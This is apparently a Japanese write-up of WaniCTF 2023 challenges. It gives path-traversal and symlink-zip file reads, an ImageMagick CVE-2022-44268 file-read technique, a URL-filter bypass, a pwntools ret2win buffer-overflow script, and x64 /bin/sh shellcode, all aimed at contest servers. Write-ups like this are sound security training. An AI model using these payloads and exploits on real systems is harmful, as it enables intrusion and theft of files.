WaniCTF 2023 Writeup
目次
- Web
- Pwnable
- Forensics
IndexedDB
/
にアクセスすると/1ndex.html
にリダイレクトされているので、curl https://indexeddb-web.wanictf.org/
を実行するとIndexedDBにフラグを格納するJSが見える。
Extract Service 1
target
パラメータに渡したパスがそのままextractTarget
で使えるため、target
パラメータに../../../../../../flag
などを設定してPOSTする。
Extract Service 2
/flag
へのシンボリックリンクをzipファイルに含めることでフラグを読み込ませることができる。document.xml
という名前の/flag
へのシンボリックリンクをword
ディレクトリの中に入れたzipをPOSTするとフラグが得られる。
certified1
ImageMagickのバージョンが古く、CVE-2022-44268が使える。https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC を使えばフラグが得られる。適当なtest.pngから$ pngcrush -text a "profile" "/flag" test.png
でPNGファイルを作り、送信して返ってきた画像から$ identify -verbose responce.png
で得られる。
screenshot
URLのバリデーションがif (!req.query.url.includes("http") || req.query.url.includes("file")) {
となっており、File:///http/../flag.txt
などにすることで容易に回避できる。
netcat
netcatで繋ぎ、3回計算問題を解けばフラグがもらえる。私は騙されて100回解く自動化スクリプトを書きました。
only once
適当にAAAAAAAAA
のように8文字以上入れるとBoFが起きてchall
の値が負になる。あとは3回計算問題を解けばシェルが取れる。cat FLAG
でフラグが得られる。
ret2win
BoFがありwin
関数に飛ばせばシェルが取れる。win
関数のアドレスをobjdump -d ./chall | grep win
などで確認すると0x401369
にあることがわかる。
from pwn import *
io = remote("ret2win-pwn.wanictf.org", 9003)
print(io.recvuntil(b"your input (max. 48 bytes) > "))
BUFSIZE = 32
win_addr = p64(0x401369)
io.sendline(b"A" * (BUFSIZE + 8) + win_addr)
io.interactive()
shellcode_basic
任意のシェルコードを実行してくれる。x64で/bin/sh
を実行するシェルコードをググる。https://github.com/yyanyi213/pwn/blob/master/shellcode にある\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
を使わせてもらった。
from pwn import *
#pc = process("./chall")
pc = remote("shell-basic-pwn.wanictf.org", 9004)
shell_code = b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" # PUT YOUR SHELL CODE HERE
pc.sendline(shell_code)
pc.interactive()
Just_mp4
$ exiftool chall.mp4
をするとPublisher
にフラグがある。
whats_happening
$ file updog
をするとupdog: ISO 9660 CD-ROM filesystem data 'ISO Label'
と出る。マウントしてファイルを確認すると、画像ファイルにフラグが書かれている。